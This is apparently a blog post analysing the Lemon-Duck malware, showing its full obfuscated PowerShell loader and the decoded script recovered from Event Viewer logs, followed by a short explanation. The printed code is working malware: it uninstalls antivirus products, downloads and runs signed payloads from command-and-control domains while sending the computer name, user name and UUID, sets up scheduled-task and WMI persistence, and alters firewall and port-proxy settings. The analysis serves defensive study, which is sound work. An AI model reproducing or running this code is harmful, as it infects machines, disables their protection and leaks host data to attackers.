Lemon-Duck Malware Analysis

相关文章推荐

憨厚的沙滩裤 · 2020年潮州市教育局赴华南师范大学招聘直属 ...· 1 年前 ·

打篮球的啄木鸟 · 南阳医学高等专科学校是公办还是民办大学？_大 ...· 1 年前 ·

大鼻子的小虾米 · 科普网红四少：叶良辰，赵日天，龙傲天，福尔康· 2 年前 ·

精明的饺子 · java.io.FileNotFoundEx ...· 2 年前 ·

一身肌肉的泡面 · Django+Celery学习笔记5——定时 ...· 2 年前 ·


   I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c499625262f6dca7b7f4af54ad7e074a10880601324d8904010ecc188cde692ec1d69472329ab2a81ca6556655d661640cced9dbcf7de7befbdf7de7befbdf7ba3b9d4e27f7dfff3f5c6664016cf6ce4adac99e2180aac81f3f7e7c1f3f227eb7e7df7d903ffb2c4d3fbaf3f1effdf127dfbfb7fbbda745599ece9bdfed93efef7e6f5694cf4fbfddfc6ee9d638fd993b7b0fbf5f1f7f7bfabdef7ffea2a8dbd7df1bddd9bd2f9f7cf2a9f9657f67577edbda3a9d66e5cbbc1edff9f877fb78f4f1ce8b871fbb8f1edeeb82b22f7eb2677fbbb71b01f61b27bf7192de493ffee4e33bfbf7be4f3fea6c7ef2bdef5fbc38abdf00d0c307dfe74f3eb90738fcdbdeaefe66e0bc1adff9f4a17ce45e7c70a0cd774df34f76b491f7defcfc17dd3b98d3bf34fa3d6d47487cb26fbaddf13ef5dedba78f7bc81298879fd3a7e7f48b6bfaf01e7dd4c56ecfc07ff8a9fd5648d5479068cd083edcd776077644f7154cf8c2b3bb69d6b4afd2657b37cddbbccc6777d3e66d93b5f4dd27f4fff9b401d9a9d9ee40bb694358699bbdacd1f7d0d4fcda7f03cd7fe3e4edb42a279f2dabc27436cdd2fbf7763f6beb6aa59f94fa33a3a6e96ada7e5656d3aaadea55ba2c3eab8b59fae5c58a5eb95ee633faedb39c505964cb342fd7752aafd227bf6836cbd2b2ccaef2ba38b7bf5cd287f3a6cd97820ab533d8008dfd7d46a344c78a83f66f70eda1b1bfcf681020c284fed586f922a33f14a79b31b9779f3b6ea7f972594dd3dd31fff759d3e435bd6c3e7eb877fffea7dc7099b74d51a6fb9755bb7fc9f0afdf1162f82acda7d9799db7cb22cddfe563ee82e70a98d1ff7fe364f6fac553fde3b5c0c4209572bfe862592cf355c5a07cc40906006a2b819b4e6996dfd137f978b6986220bfc4eb279fd6d5b3dfe3f7f83dd2dd345f97d94f6ea74f5f7df9dda769beba7eb36dba23d26394ab4575929793ac299e82ac0d0d804858672fafbff3aece2febfcf5325b2cb3e7f467934f0b7c40bfb6f9ebb2aadb6545289cb4cbbcaed727d7df51c8efbe387df3faf741b3475f3cffbdbe4d50d3799bbddc4eaf5b08268db17ea94d17797bb64dc0527a7814f28b1dc9fd7495e765b3ddd659db4015a5f270db3bbf8440d3f08bc5d5eee5ef954eb78964f95cdfa5815c1121a7779951dbac5c2df237f9b2783ea3f1d0980fe9734c13bd4f88eedd234c2059d7cdf577e8c7bbe6aa9a19892aae3094290019e8d4844604bab5eb69feeef45044e1453e6f77e9b7cbdfeb136acd6f10315ffce2df336d30f465be585fd4c7db2034387f55d4d366b26e40d0aaaa4128e2a1558377b6d39a61ae9b65050a03eaa9877fda345979b24d2f2c8934cb39949b11c0b362f15d5075ebb33a17008777564692dad7294bdd715dd5f5e976fa4b40896f9f9e8300d7af7fffd75f120fbffcfdb3367b3a333cd7b6d982388abfd8bbb72cbe4bcdd3e3d767d4394685fecfdafc82b5ee9bf4f4d5e9b7bf9beeec7c7a2f7d71f6ed3767df4d09fd4bfaf214e2405d6746a68bf362868fbed0419cfdfebf7ffac597af9e61a2bf95be39397dae2d4f5f8394d775befe09fd04483fff89ef32852fb2f5c512526f9a5343fc264a61fd1368bb77b92830d1983821f56720f56b901ae8d10ceaf4c9dc9d0773673801f38751d2ff65169d2cc526d3bc35cd56afcd9cb625bd5c3ce33e69b8e12cd2c4d1b776eedab27826fddf8e710ceb4b5fa44f66cbe209b1807ece9c50bd01f6b9b101d483c5c2f1b687cf778d781ab1bb4393bf6a7e7a9c65f4cbe8dba7fa967c461f6d1126e50a1ec49dfb5b8443dd02d3f19a084badcff7bef2da50576836daf11b2a406dbfebb71f37ab05cd10bdf67b7de604df436e99bd224654c3a4d3e9be57c8bf71f28bef34c0c7dacc22c59f5bf36996d7d5b901a65f924ade2c32d4992f354c5e92187d9d05c770822f3f78edcc529ad036c2a38d5586a8198b111823358a00e8642c3f2c3c8edb03311219b2c2432d4418444ba00f2742f8f202024aaa1e72e60bcd80c4d04764a3266f696e26a1b8dc8e5d3d99d8201096013125bff8ce6e5b54339a2c2552da56cbedadf3025f7e6c9c008cee97fce2f9d4307936fd25f8fe4bc8eeca90f7f4dc204f9f4e6846187fe0c6089d6bb3ed94be8a0c0253c883c07407e3c0076e280a663b255fe2a7275f9e7d61669786f5f967bb06450c8a7ffd187afc523ffdbd78ccd75039ad38713c905ff263f837b08d3ff66332c2d5122c4f389e2f0de85dfdc96283f1c1a9f458665d5b4f515b2ab45dd3817eecfaf925f687fc04adc13a537c62bf92dfcad248f472bb5d570f3f3fbf431f2d217e76c27ed168271d994fdd2ffbe9e84e548b384aa93e01cd9dda09f5c98022d19ea14f7eaf1191e5e91727bfffeb97f4cb967e639a968bdf7b0cf2304ac624d28c9b0fb7e8e79b1a7ee10579f9753e331e6c0546a4063f6669f163bff8ce9da0ab665964e4459d8cadd08c89d7dcdc90738c1ece0b0be2175fd72dfdaa5d989ffc4d7a47ff6a445b01545b2c8bf3fc29e1aadfc938c84715d75b3f4527a9aa3fd3d11d526f851938bdf09650d211db965ef77776b7c045fac91be26ea645754e2f7c66a8e6204a27a0c6b961591084b514bdf5ac3594fe7c7c59376d0328044f3f14b01d36edf1a72535f9868e65520a1b66c53cbd127f118ea242a5afab156b0092108aafe8ef50a29cde3172b4f3695a2deeea87e9e99baf5e9c7d914e1bc46044a2a995acc6cd99cc55de94791ae2a9df035dead96117e0d443c879211e423e26048b0d559342d23b78614eed84678dd856e637674ee9a3f4b3943b53f2fe127c0199bbf84c90f8c518ce2fb923edb73e713a1661035ce9e2bbf49b7eda9e57afab7a5a7c4110a0771504778fbee9e35f7c672ffd45f9767aef7777b6aa3092c02848570ad182d8d5b7b4ad7eadaf505fe8cebacabfc8bcb513be65858b3994f54723fe81bef6e53be6d2e5d9a347dfbfceea3afb1ed1072f1b42aa77e1dc0ac7602c374e89776c2848ad136d3f9669dddba579a5af83a9ed3359c05c910e0cabc43b21f8dccf8dfca360eea68e9884034c8087869d50fd532db76fb2d972a879bed34195f52ad408beb0ea417483a71414aad18d0c694b02f713db0a9f6af43aa6cc004536d3d7a9cd83c0305348656cf4f655fe8226d47f979c5e0c74514dc70fd7f72693712bceaf7c52e76f7f30a6effd0f41cbfade0f7ec02db77ecfcf982578c877ee7cfabbdf59904c64afe0036c7df2e916f9756bf4ef3e8599dcdbdb1d8f1f3ca4e4d8787cffd34f1edc1f8f0ff6b7befffdef5162895275cba2fae9ed7459afdb5cfc4b9e8a5f7c674b44030a1e384d97eb7343deba6a33e38b92bd5a168bd93174cbf7f3b27a453ea87e5516eb272ab5e3325b155332a62fc7d76d5153b0fbfa7b5bd2ba39e394165e20824b0e8030874cb405fd3d3bebc320842c98efdb8fc1387e53851af4aa9f7d6febb34c26453ff88d13a2ef9db26649cb0eef88907f4b7e3089ee08b16b23bea3a7675f7d35be63677f3da37c84b8f264c5d7488888972eec505194b10dad363afde2f8c5ab5383c9578f2e973974837cfce6ab975f7c79c29f6903c2e7f72455c888fc1ef4ff4f2ea935fee648e9ae7ca1dfef7d25bad07dc2ee8afbf3eedd47abb69df31f460d7d26a3fe25bfe497dc99d04fc3183ce8ad77f977ab9f22a067bfd84ed29d3bdfdf7d402cb5f3bd19373724f5d849fca6d7fb9fe64df66451195e794693dad6c6221befd4444fd594d2a62499c52511128da85be54611b9aa5d5dd727bbc7df7e3dbe36199455565f207bc45fd14f4cb47e45f3adbf91e38f39704a4684736b34e1d9a668ebfabca02cd5b8164543690efce292580ac74b712ecec6083ba9d9a145d9c7f2f8f52b4292b1e3bfc7f0be95073dfdf0197a3cdcdd79b733dac13ff8ed3362fa65b57a773a061686153fdbd9cdbe3d7bfe2545c8869c0f5e7dfafb9ce5e7bb3fbd7b39fd89af56cff7eefea09cfcf4eae4f9d39f9edc3ff862e7e4feef53ae7fd177df2e4fbeca5f3c9fef9fe7bf08a2bcffea07ef96f7a6c7af7fea607af5f6d54ebd738f5cc6e793f5f3d5c1eec1f362faf4bb3baf7e9fbb6fa0b0f7ea7bbfd78345f9eddfe76c5ab43f78f383cbbd172fee7d71f5f0ecd9cb9fde7f5b7ff77cefd39f6cbf3d59bf582edebcb877975eb93cb8bc982d56bff793ddcf2f7feff583ddeabb8b3d67c7a1c48437f423cb22c21bf22981f945f9a5c7179f35fafbda38c5246daeed1742a9c6b2964e9b4c02b5f0e7c134e9cf0503f9fe94fe1d8fef3dd865f6fe0c2cf28befd09f690b0f663bc5f70a03f102710bb4ee74ccada792b63bbc73676bb6ccabd6389a19471477b616f44bdbe4e459537aae267530be63e304ff43564362234197265fffa2bc9ee45763e3cf62d8cbefc19065f92b1874007e0dc58854f699c254d543a333c4dcda6af2f67a62dde28bf1c1796b222bea0ad91e02504d97f9d8a8b67779fb3dfd95befa6cc614114529ee3f990670a86455d4d051cbd3f3d9ec8b2faee9f9fde5cf541280dbb0fe4fc56891d9803efb3de8e767f48b76c3302030f0c5c9d559926f92bfab2617cd02c9666db532c2b826f78284a60477379476b864ff1669d99d9d1d8a8d966bb2fb799d5d95d917db64538e390b4d6490cfe8ad2f9c5bb9fb4b1d85c136f54b581bcadc9ec0c491974419236dcaeec025e21fc779a4ff96ec10b5dcb19988d2ad89003722d7efae1f18cb44a424fdf2e277ff3632026f6971807878892e73027ea549408ae4606756bc3480c4553aa1a173565b30f351eae282dfb477edfbfc776fd675f19320894187baff18993b8bc1c758195124a47743fe5b224100627828142586a1c2d0f0b9677de5c3877ffebb43295c66bfbbd34c839d767a335c39dc21b5409f0ab9df75db64e8d9756938e3869ebd6ef50de95dfff091d08f86066f59ef2da9cc5593fd5ebffb00d9c1093773dcc7589db24450d89b88dfe6cde9c689ee756748647b9d439571a6e2f7c677dfdfb9f7bdd3c597df6e5ed25a2aad84ef7deff48b2fe7aff157ba958ed38fb768c9fc301d6fa5bfdb65fe6a5235f9cbfaf49cb2a42f4ef2f19b2f5fb7f5d9f262ebcef77647f7beff09adac6fff7475b6fcf8e33bd4c7e779bb7d79fcea2c9b3c3f4dd3f2ea414e99dd3be3cbacfc2affde36f941db5be9e656e3325f7efe669edef9fef64f7f59bc20b0bf71f2ff00'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();

1.Malware Execution

Using Windows Virtual Machine and Powershell to execute the given malware payload then analyze it using Event Viewer program.

2.Event Viewer

In the event viewer log, navigate to

Application and Services Logs>Microsoft>Windows>Powershell>Operational

After digging the log, i found a full plain code that use to execute the malware payload as the image given.

Creating Scriptblock text (1 of 1): cmd /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractive cmd /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive cmd /c start /b wmic.exe product where "name like '%avast%'" call uninstall /nointeractive cmd /c start /b wmic.exe product where "name like '%avp%'" call uninstall /nointeractive cmd /c start /b wmic.exe product where "name like '%Security%'" call uninstall /nointeractive cmd /c start /b wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractive cmd /c start /b wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractive cmd /c "C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe" /verysilent /suppressmsgboxes /norestart $v="?$v"+(Get-Date -Format '_yyyyMMdd') $tmps='function a($u){$d=[text.encoding]::utf8.getbytes((new-object IO.StreamReader([net.webrequest]::create($u).getresponse().getresponsestream())).readtoend());$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String(''2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10='');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url=''http://''+''U1''+''U2''+''/a.jsp'+$v+'?''+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join''*'');a($url)' $sa=([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") function getRan(){return -join([char[]](48..57+65..90+97..122)|Get-Random -Count (6+(Get-Random)%6))} $us=@('t.zz3r0.com','t.zker9.com','t.bb3u9.com') $stsrv = New-Object -ComObject Schedule.Service $stsrv.Connect() $doit=$stsrv.GetFolder("\").GetTask("blackball") }catch{} if(-not $doit){ if($sa){ schtasks /create /ru system /sc MINUTE /mo 120 /tn blackball /F /tr "blackball" } else { schtasks /create /sc MINUTE /mo 120 /tn blackball /F /tr "blackball" foreach($u in $us){ $i = [array]::IndexOf($us,$u) if($i%3 -eq 0){$tnf=''} if($i%3 -eq 1){$tnf=getRan} if($i%3 -eq 2){if($sa){$tnf='MicroSoft\Windows\'+(getRan)}else{$tnf=getRan}} $tn = getRan if($sa){ schtasks /create /ru system /sc MINUTE /mo 60 /tn "$tnf\$tn" /F /tr "powershell -c PS_CMD" } else { schtasks /create /sc MINUTE /mo 60 /tn "$tnf\$tn" /F /tr "powershell -w hidden -c PS_CMD" start-sleep 1 $folder=$stsrv.GetFolder("\$tnf") $taskitem=$folder.GetTasks(1) foreach($task in $taskitem){ foreach ($action in $task.Definition.Actions) { if($action.Arguments.Contains("PS_CMD")){ $folder.RegisterTask($task.Name, $task.Xml.replace("PS_CMD",$tmps.replace('U1',$u.substring(0,5)).replace('U2',$u.substring(5))), 4, $null, $null, 0, $null)|out-null }catch{} start-sleep 1 schtasks /run /tn "$tnf\$tn" start-sleep 5 $doit1=Get-WMIObject -Class __EventFilter -NameSpace 'root\subscription' -filter "Name='blackball'" }catch{} if(-not $doit1){ Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name="blackball";EventNameSpace="root\cimv2";QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";} -ErrorAction Stop foreach($u in $us){ $theName=getRan $wmicmd=$tmps.replace('U1',$u.substring(0,5)).replace('U2',$u.substring(5)).replace('a.jsp','aa.jsp') Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=(Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name="f"+$theName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";} -ErrorAction Stop);Consumer=(Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name="c"+$theName;ExecutablePath="c:\windows\system32\cmd.exe";CommandLineTemplate="/c powershell -c $wmicmd"})} start-sleep 5 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 ???Force cmd.exe /c netsh.exe firewall add portopening tcp 65529 SDNSd netsh.exe interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53 netsh advfirewall firewall add rule name="deny445" dir=in protocol=tcp localport=445 action=block netsh advfirewall firewall add rule name="deny135" dir=in protocol=tcp localport=135 action=block schtasks /delete /tn Rtsa2 /F schtasks /delete /tn Rtsa1 /F schtasks /delete /tn Rtsa /F ScriptBlock ID: 2efc1be9-b1bd-4948-a2d7-97c8dd332cff Path:

3.Analyzing the code

First the malware execute a command to uninstall antivirus software like Eset, Kaspersky, Avast,Norton Security and Malwarebyte by launching wmic.exe on cmd program. It also scan program that use avp, security and antivirus name. The malware schedule a task name blackball by store persistence mechanism payload and connect to the command and control domain in the code.This malware also use netsh.exe program to open port 65529 and connect to the port.Then it will add firewall rule name deny445 and deny135 that will block any connection with port 445 and 135. At the end of the code, this malware try to delete 3 schedule task name Rtsa2, Rtsa1 and Rtsa.